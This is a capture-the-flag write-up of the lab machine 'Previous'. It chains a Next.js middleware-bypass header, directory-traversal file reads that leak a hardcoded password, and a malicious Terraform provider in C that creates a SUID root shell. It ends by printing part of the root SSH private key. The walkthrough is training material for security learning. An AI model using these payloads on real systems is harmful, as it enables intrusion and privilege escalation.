Previous
Recon
Start with an Nmap scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/HTB/Previous]
└─$ IP=10.10.11.83
┌──(kali㉿kali)-[~/HTB/Previous]
└─$ nmap -sC -sV $IP
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-13 15:23 +0000
Nmap scan report for 10.10.11.83
Host is up (0.29s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.33 seconds
The Nmap scan shows two open ports on the target system. SSH is running on port 22, and an Nginx web server is accessible on port 80, confirming a Linux-based host
Update /etc/hosts.
1
sudo sh -c 'echo "10.10.11.83 previous.htb" >> /etc/hosts'
Enumeration
A web server is running on port 80.
1
http://previous.htb/
After clicking the Get Started link, a login page is displayed.
1
http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs
After running whatweb, the output provides a quick overview of the technologies in use. It shows that the application is running on an Nginx server on Ubuntu, with the frontend built using Next.js.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/HTB]
└─$ whatweb http://previous.htb/
http://previous.htb/ [200 OK] Country[RESERVED][ZZ], Email[jeremy@previous.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.83], Script[application/json], X-Powered-By[Next.js], nginx[1.18.0]
┌──(kali㉿kali)-[~/HTB]
└─$ curl -I http://previous.htb/
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 21 Sep 2025 10:08:29 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 5493
Connection: keep-alive
X-Powered-By: Next.js
ETag: "17m2fyh3hl048k"
Vary: Accept-Encoding
Checking the server information reveals that Next.js version 15.2.2 is running on the target system.
After running dirsearch, several interesting paths were discovered. Most of the endpoints redirect to an authentication page, indicating that access to the API and documentation requires login.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──(kali㉿kali)-[~/HTB]
└─$ PYTHONWARNINGS="ignore" dirsearch -u http://previous.htb/ -x 400,403,404 -t 50
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460
Output File: /home/kali/HTB/reports/http_previous.htb/__25-09-21_06-03-42.txt
Target: http://previous.htb/
[06:03:42] Starting:
[06:04:28] 307 - 39B - /api-doc -> /api/auth/signin?callbackUrl=%2Fapi-doc
[06:04:28] 307 - 35B - /api -> /api/auth/signin?callbackUrl=%2Fapi
[06:04:28] 307 - 40B - /api-docs -> /api/auth/signin?callbackUrl=%2Fapi-docs
[06:04:28] 307 - 39B - /api.php -> /api/auth/signin?callbackUrl=%2Fapi.php
[06:04:28] 307 - 38B - /api.py -> /api/auth/signin?callbackUrl=%2Fapi.py
[06:04:28] 307 - 39B - /api.log -> /api/auth/signin?callbackUrl=%2Fapi.log
[06:04:29] 307 - 60B - /api/2/issue/createmeta -> /api/auth/signin?callbackUrl=%2Fapi%2F2%2Fissue%2Fcreatemeta
[06:04:29] 307 - 41B - /api/api -> /api/auth/signin?callbackUrl=%2Fapi%2Fapi
[06:04:29] 307 - 54B - /api/application.wadl -> /api/auth/signin?callbackUrl=%2Fapi%2Fapplication.wadl
[06:04:29] 307 - 60B - /api/apidocs/swagger.json -> /api/auth/signin?callbackUrl=%2Fapi%2Fapidocs%2Fswagger.json
[06:04:29] 307 - 45B - /api/apidocs -> /api/auth/signin?callbackUrl=%2Fapi%2Fapidocs
[06:04:29] 307 - 46B - /api/api-docs -> /api/auth/signin?callbackUrl=%2Fapi%2Fapi-docs
.
.
.
.
[06:04:43] 307 - 66B - /docs/html/admin/ch01s04.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch01s04.html
[06:04:43] 307 - 66B - /docs/html/admin/ch03s07.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch03s07.html
[06:04:43] 307 - 64B - /docs/html/admin/index.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Findex.html
[06:04:43] 307 - 67B - /docs/html/developer/ch02.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fdeveloper%2Fch02.html
[06:04:43] 307 - 56B - /docs/html/index.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Findex.html
[06:04:43] 307 - 70B - /docs/html/developer/ch03s15.html -> /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fdeveloper%2Fch03s15.html
[06:04:43] 307 - 54B - /docs/maintenance.txt -> /api/auth/signin?callbackUrl=%2Fdocs%2Fmaintenance.txt
[06:04:43] 307 - 51B - /docs/swagger.json -> /api/auth/signin?callbackUrl=%2Fdocs%2Fswagger.json
[06:04:43] 307 - 51B - /docs/updating.txt -> /api/auth/signin?callbackUrl=%2Fdocs%2Fupdating.txt
[06:04:43] 307 - 38B - /docs51 -> /api/auth/signin?callbackUrl=%2Fdocs51
[06:04:45] 308 - 39B - /engine/classes/swfupload//swfupload.swf -> /engine/classes/swfupload/swfupload.swf
[06:04:45] 308 - 42B - /engine/classes/swfupload//swfupload_f9.swf -> /engine/classes/swfupload/swfupload_f9.swf
[06:04:46] 308 - 27B - /extjs/resources//charts.swf -> /extjs/resources/charts.swf
[06:04:52] 308 - 37B - /html/js/misc/swfupload//swfupload.swf -> /html/js/misc/swfupload/swfupload.swf
[06:05:24] 200 - 3KB - /signin
Task Completed
CVE-2025-29927
After checking the application, we found a vulnerability related to the version of Next.js running on the server. CVE-2025-29927 is a critical middleware bypass vulnerability that allows attackers to bypass authentication and access protected routes by manipulating the x-middleware-subrequest header. This affects Next.js version 15.x below 15.2.3, and patching or stripping the header is recommended to prevent exploitation.
By using the middleware bypass header and running dirsearch again, additional API endpoints were discovered. Among them, the /api/download endpoint stood out as particularly interesting and was selected for further investigation.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(kali㉿kali)-[~/HTB]
└─$ PYTHONWARNINGS="ignore" dirsearch -u http://previous.htb/api/ -H 'X-Middleware-Subrequest:src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware' -x 308 -t 50
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460
Output File: /home/kali/HTB/reports/http_previous.htb/_api__25-09-21_07-06-54.txt
Target: http://previous.htb/
[07:06:54] Starting: api/
[07:07:42] 400 - 64B - /api/auth/adm
[07:07:42] 400 - 64B - /api/auth/admin
[07:07:42] 400 - 64B - /api/auth/login
[07:07:42] 400 - 64B - /api/auth/login.php
[07:07:42] 400 - 64B - /api/auth/login.aspx
[07:07:42] 400 - 64B - /api/auth/login.jsp
[07:07:42] 400 - 64B - /api/auth/login.html
[07:07:42] 400 - 64B - /api/auth/login.js
[07:07:42] 400 - 64B - /api/auth/logon
[07:07:42] 302 - 0B - /api/auth/signin -> /signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000
[07:07:56] 400 - 28B - /api/download
Task Completed
┌──(kali㉿kali)-[~/HTB]
└─$
After sending a request to the /api/download endpoint, the application responded with an “invalid filename” error, indicating that a parameter is required. The 400 response was observed when the request was sent without any parameter.
To identify the correct download parameter, parameter fuzzing was performed using ffuf. Responses with status code 400 were filtered out since they represented the same default error behavior. This allowed us to focus on responses that differed from the baseline error.
Wordlist used: maverickNerd wordlist
The results revealed one valid parameter, confirming how the download functionality accepts file input.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(kali㉿kali)-[~/HTB]
└─$ ffuf -w /home/kali/HTB/params.txt \
-u "http://previous.htb/api/download?FUZZ=file.txt" \
-H "Host: previous.htb" \
-H "X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware" \
-mc all -fc 400 -fs 28 \
-o ffuf_params_results.json -of json
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/api/download?FUZZ=file.txt
:: Wordlist : FUZZ: /home/kali/HTB/params.txt
:: Header : Host: previous.htb
:: Header : X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
:: Output file : ffuf_params_results.json
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response status: 400
:: Filter : Response size: 28
________________________________________________
example [Status: 404, Size: 26, Words: 3, Lines: 1, Duration: 429ms]
:: Progress: [27652/27652] :: Job [1/1] :: 91 req/sec :: Duration: [0:05:30] :: Errors: 0 ::
Local File Inclusion (LFI)
After sending a request with the identified parameter, the application responded with a “file not found” error, indicating that it attempts to read files from disk. This suggested a potential Local File Inclusion (LFI) vulnerability.
Testing with a directory traversal payload successfully returned the contents of /etc/passwd, confirming that the /api/download endpoint is vulnerable to LFI.
The same LFI was confirmed from the terminal by sending a crafted request with directory traversal.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali㉿kali)-[~/HTB/Previous]
└─$ curl --path-as-is -i -s -k -X $'GET' \
-H $'Host: previous.htb' -H $'X-Middleware-Subrequest:src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware' \
$'http://previous.htb/api/download?example=../../../../etc/passwd'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 24 Sep 2025 16:58:32 GMT
Content-Type: application/zip
Content-Length: 787
Connection: keep-alive
Content-Disposition: attachment; filename="passwd"
ETag: "41amqg1v4m26j"
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
After sending the request to app/server.js, the response confirms successful exploitation by returning the raw source code of the server-side file, which contains sensitive configuration and environment details.
In a Next.js application, there is a hidden .next directory that contains useful build and routing information. This folder is automatically created when initializing a project using npx create-next-app@latest.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
furious5@MNM:/tmp/my-app$ ls -la
total 332
drwxrwxr-x 7 furious5 furious5 4096 Jan 14 10:26 .
drwxrwxrwt 26 root root 40960 Jan 14 10:25 ..
drwxrwxr-x 2 furious5 furious5 4096 Jan 14 10:24 app
-rw-rw-r-- 1 furious5 furious5 465 Jan 14 10:24 eslint.config.mjs
drwxrwxr-x 8 furious5 furious5 4096 Jan 14 10:26 .git
-rw-rw-r-- 1 furious5 furious5 480 Jan 14 10:24 .gitignore
drwxrwxr-x 3 furious5 furious5 4096 Jan 14 10:26 .next
-rw-rw-r-- 1 furious5 furious5 133 Jan 14 10:24 next.config.ts
-rw-rw-r-- 1 furious5 furious5 247 Jan 14 10:24 next-env.d.ts
drwxrwxr-x 290 furious5 furious5 12288 Jan 14 10:26 node_modules
-rw-rw-r-- 1 furious5 furious5 528 Jan 14 10:24 package.json
-rw-rw-r-- 1 furious5 furious5 226842 Jan 14 10:26 package-lock.json
-rw-rw-r-- 1 furious5 furious5 94 Jan 14 10:24 postcss.config.mjs
drwxrwxr-x 2 furious5 furious5 4096 Jan 14 10:24 public
-rw-rw-r-- 1 furious5 furious5 1450 Jan 14 10:24 README.md
-rw-rw-r-- 1 furious5 furious5 666 Jan 14 10:24 tsconfig.json
Since the application is vulnerable to LFI, we leveraged it to read files from the .next directory and extract routing information used by the application.
Notably, the manifest shows a dynamic API route:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 21 Sep 2025 17:04:32 GMT
Content-Type: application/zip
Content-Length: 2548
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/.next/routes-manifest.json
ETag: "9g13nceds96qd"
{
"version": 3,
"pages404": true,
"caseSensitive": false,
"basePath": "",
"redirects": [
{
"source": "/:path+/",
"destination": "/:path+",
"internal": true,
"statusCode": 308,
"regex": "^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/$"
}
],
"headers": [],
"dynamicRoutes": [
{
"page": "/api/auth/[...nextauth]",
"regex": "^/api/auth/(.+?)(?:/)?$",
"routeKeys": {
"nxtPnextauth": "nxtPnextauth"
},
"namedRegex": "^/api/auth/(?<nxtPnextauth>.+?)(?:/)?$"
},
{
"page": "/docs/[section]",
"regex": "^/docs/([^/]+?)(?:/)?$",
"routeKeys": {
"nxtPsection": "nxtPsection"
},
"namedRegex": "^/docs/(?<nxtPsection>[^/]+?)(?:/)?$"
}
],
"staticRoutes": [
{
"page": "/",
"regex": "^/(?:/)?$",
"routeKeys": {},
"namedRegex": "^/(?:/)?$"
},
{
"page": "/docs",
"regex": "^/docs(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs(?:/)?$"
},
{
"page": "/docs/components/layout",
"regex": "^/docs/components/layout(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/components/layout(?:/)?$"
},
{
"page": "/docs/components/sidebar",
"regex": "^/docs/components/sidebar(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/components/sidebar(?:/)?$"
},
{
"page": "/docs/content/examples",
"regex": "^/docs/content/examples(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/content/examples(?:/)?$"
},
{
"page": "/docs/content/getting-started",
"regex": "^/docs/content/getting\\-started(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/content/getting\\-started(?:/)?$"
},
{
"page": "/signin",
"regex": "^/signin(?:/)?$",
"routeKeys": {},
"namedRegex": "^/signin(?:/)?$"
}
],
"dataRoutes": [],
"rsc": {
"header": "RSC",
"varyHeader": "RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch",
"prefetchHeader": "Next-Router-Prefetch",
"didPostponeHeader": "x-nextjs-postponed",
"contentTypeHeader": "text/x-component",
"suffix": ".rsc",
"prefetchSuffix": ".prefetch.rsc",
"prefetchSegmentHeader": "Next-Router-Segment-Prefetch",
"prefetchSegmentSuffix": ".segment.rsc",
"prefetchSegmentDirSuffix": ".segments"
},
"rewriteHeaders": {
"pathHeader": "x-nextjs-rewritten-path",
"queryHeader": "x-nextjs-rewritten-query"
},
"rewrites": []
}
1
/api/auth/[...nextauth]
This indicates that NextAuth.js is in use and that authentication logic is handled through a catch‑all API route.
Reading next-auth Files via LFI
In a Next.js application, the NextAuth configuration is typically located at one of the following paths:
app/api/auth/[...nextauth]/route.js(App Router)pages/api/auth/[...nextauth].js(Pages Router)
Since LFI is confirmed, these files can be read directly by supplying their paths to the vulnerable download endpoint. For example:
1
../../../../app/api/auth/[...nextauth]/route.js
or
1
../../../../pages/api/auth/[...nextauth].js
Reading these files may disclose authentication providers, secrets, callbacks, and session configuration, which can be leveraged for further exploitation.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/HTB/Previous]
└─$ curl --path-as-is -i -s -k -X $'GET' \
-H $'Host: previous.htb' -H $'X-Middleware-Subrequest:src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware' \
$'http://previous.htb/api/download?example=../../../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js'
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 24 Sep 2025 17:19:26 GMT
Content-Type: application/zip
Content-Length: 1537
Connection: keep-alive
Content-Disposition: attachment; filename="[...nextauth].js"
ETag: "ihx6eiwskd47b"
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();
The file revealed credentials for the jeremy user, which were used to successfully log in.
Access as jeremy
ssh jeremy@previous.htb
password:MyNameIsJeremyAndILovePancakes
MyNameIsJeremyAndILovePancakes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──(kali㉿kali)-[~/HTB/Previous]
└─$ ssh jeremy@previous.htb
The authenticity of host 'previous.htb (10.10.11.83)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:7: [hashed name]
~/.ssh/known_hosts:18: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'previous.htb' (ED25519) to the list of known hosts.
jeremy@previous.htb's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Wed Sep 24 05:20:28 PM UTC 2025
System load: 0.0 Processes: 217
Usage of /: 80.0% of 8.76GB Users logged in: 0
Memory usage: 11% IPv4 address for eth0: 10.10.11.83
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
1 update can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list --upgradable
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Sep 24 17:20:29 2025 from 10.10.14.146
jeremy@previous:~$ ls
dev.tfrc docker pop user.txt
jeremy@previous:~$
jeremy@previous:~$ cat user.txt
************f7ab1d272fff8f55a19a
jeremy@previous:~$
Running sudo -l showed that jeremy can execute Terraform as root with the command /usr/bin/terraform -chdir=/opt/examples apply, indicating a potential privilege escalation vector.
1
2
3
4
5
6
7
8
9
10
jeremy@previous:~$ sudo -l
[sudo] password for jeremy:
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply
jeremy@previous:~$
jeremy@previous:~$
Privilege Escalation
After gaining access as the user jeremy, privilege escalation was achieved by abusing Terraform’s configuration and provider override features. The following steps detail the process:
1. Preparing the Malicious Provider
First, a custom C program was created to act as a malicious Terraform provider. This program copies /bin/bash to /tmp/rootbash and sets the SUID bit, granting root shell access:
1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
printf("terraform-provider-examples: started\n");
fflush(stdout);
system("cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash");
sleep(6);
return 0;
}
Compile and make it executable:
1
2
gcc /tmp/terraform-provider-examples.c -o /tmp/terraform-provider-examples
chmod +x /tmp/terraform-provider-examples
2. Configure Terraform to Use the Malicious Provider
Create a ~/.terraformrc file to override the provider path:
1
2
3
4
5
6
7
8
cat > ~/.terraformrc <<'EOF'
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp"
}
direct {}
}
EOF
3. Execute Terraform as Root
Run the allowed sudo command to trigger the malicious provider:
1
sudo /usr/bin/terraform -chdir=/opt/examples apply
Approve the apply when prompted. The provider will execute and create the SUID root shell at /tmp/rootbash.
4. Get a Root Shell
Launch the SUID shell to gain root privileges:
1
2
/tmp/rootbash -p
id
You should now have a root shell (euid=0).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
jeremy@previous:~$
jeremy@previous:~$ test -w ~/.terraformrc && echo "ok: ~/.terraformrc writable"
ok: ~/.terraformrc writable
jeremy@previous:~$
jeremy@previous:~$ /usr/bin/terraform version
Terraform v1.13.0
on linux_amd64
jeremy@previous:~$
jeremy@previous:~$ echo "HOME=$HOME"
HOME=/home/jeremy
jeremy@previous:~$
jeremy@previous:~$ cat > /tmp/terraform-provider-examples.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
/* print a line so terraform can read at least one stdout line */
printf("terraform-provider-examples: started\n");
fflush(stdout);
/* do the root action immediately (create suid bash) */
system("cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash");
/* keep alive for a few seconds so terraform has time to read/communicate */
sleep(6);
return 0;
}
EOF
jeremy@previous:~$
jeremy@previous:~$
jeremy@previous:~$ gcc /tmp/terraform-provider-examples.c -o /tmp/terraform-provider-examples
jeremy@previous:~$
jeremy@previous:~$ chmod +x /tmp/terraform-provider-examples
jeremy@previous:~$
jeremy@previous:~$ ls -l /tmp/terraform-provider-examples
-rwxrwxr-x 1 jeremy jeremy 16152 Sep 25 16:07 /tmp/terraform-provider-examples
jeremy@previous:~$
jeremy@previous:~$
jeremy@previous:~$ cat > ~/.terraformrc <<'EOF'
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp"
}
direct {}
}
EOF
cat ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp"
}
direct {}
}
jeremy@previous:~$
jeremy@previous:~$ sudo /usr/bin/terraform -chdir=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /tmp
│
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to
│ become incompatible with published releases.
╵
╷
│ Error: Failed to load plugin schemas
│
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider
│ previous.htb/terraform/examples: failed to instantiate provider "previous.htb/terraform/examples" to obtain schema:
│ Unrecognized remote plugin message: terraform-provider-examples: started
│ This usually means
│ the plugin was not compiled for this architecture,
│ the plugin is missing dynamic-link libraries necessary to run,
│ the plugin is not executable by this process due to file permissions, or
│ the plugin failed to negotiate the initial go-plugin protocol handshake
│
│ Additional notes about plugin:
│ Path: /tmp/terraform-provider-examples
│ Mode: -rwxrwxr-x
│ Owner: 1000 [jeremy] (current: 0 [root])
│ Group: 1000 [jeremy] (current: 0 [root])
│ ELF architecture: EM_X86_64 (current architecture: amd64)
│ ..
╵
jeremy@previous:~$ /tmp/rootbash -p
rootbash-5.1#
rootbash-5.1# id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) groups=1000(jeremy)
rootbash-5.1#
rootbash-5.1# cd /root
rootbash-5.1#
rootbash-5.1# cat root.txt
************1007ea3326b1bab390ce
rootbash-5.1#
Persistance
For persistence, the root user’s SSH private key was extracted from /root/.ssh/id_rsa. With this key saved locally, it is possible to regain root access to the system at any time via SSH without repeating the exploitation steps
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
rootbash-5.1# cd .ssh/
rootbash-5.1#
rootbash-5.1# ls -la
total 20
drwx------ 2 root root 4096 Aug 21 18:53 .
drwx------ 10 root root 4096 Sep 24 18:10 ..
-rw------- 1 root root 567 Aug 21 18:53 authorized_keys
-rw------- 1 root root 2602 Aug 21 18:53 id_rsa
-rw-r--r-- 1 root root 567 Aug 21 18:53 id_rsa.pub
rootbash-5.1# cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmxhpS4UBVdbNosrMXPuKzRSbCOTgUH0/Tp/Yb32hyiMyMT68JuwK
bX8jLmjb//cojY1uIkYnO/pkCZIP7PZ3goq5SW7vV1meweQ8pYG1rMKbB8XXVGjMg9smuR
R5rXbvlfVylGTIix1CDjxNqtzo03nW95Cj4WgEh8xDSryQq+tg2koz33swCppjWCGKkmdD
pG/zG6u+lvEVE8Rlzrsk5y01Lsal0SRbaeRsYwXmtSCkThU9ktaJOVQvXfTzZqyg9aK/1f
Wj0a+cSYz01yzW+OaDIo0/sVgGdW0qw3khl9VHqpnse4SIbGld4Hagxq+Y7f5Is+WESNnD
YdUvwPo5aSUxQJZTZ4l5zSDey/K5GPQnF2NPn6/vxJ7i0xLLGGUczb77CtCt/zV0K8T+6m
cx8WzTJm8DxFEMt9e6Z5bF5j/ioQx55PTrxR1DEy4KNphNPCuHGmSfxRxWb1hZ/IRObN4V
A7FGgWy0RUYkQLed0t5OZf3C/ShvJWHFesQscO7pAAAFiIyQVqmMkFapAAAAB3NzaC1yc2
EAAAGBAJsYaUuFAVXWzaLKzFz7is0Umwjk4FB9P06f2G99ocojMjE+vCbsCm1/Iy5o2//3
KI2NbiJGJzv6ZAmSD+z2d4KKuUlu71dZnsHkPKWBtazCmwfF11RozIPbJrkUea1275X1cp
RkyIsdQg48Tarc6NN51veQo+FoBIfMQ0q8kKvrYNpKM997MAqaY1ghipJnQ6Rv8xurvpbx
FRPEZc67JOctNS7GpdEkW2nkbGMF5rUgpE4VPZLWiTlUL13082asoPWiv9X1o9GvnEmM9N
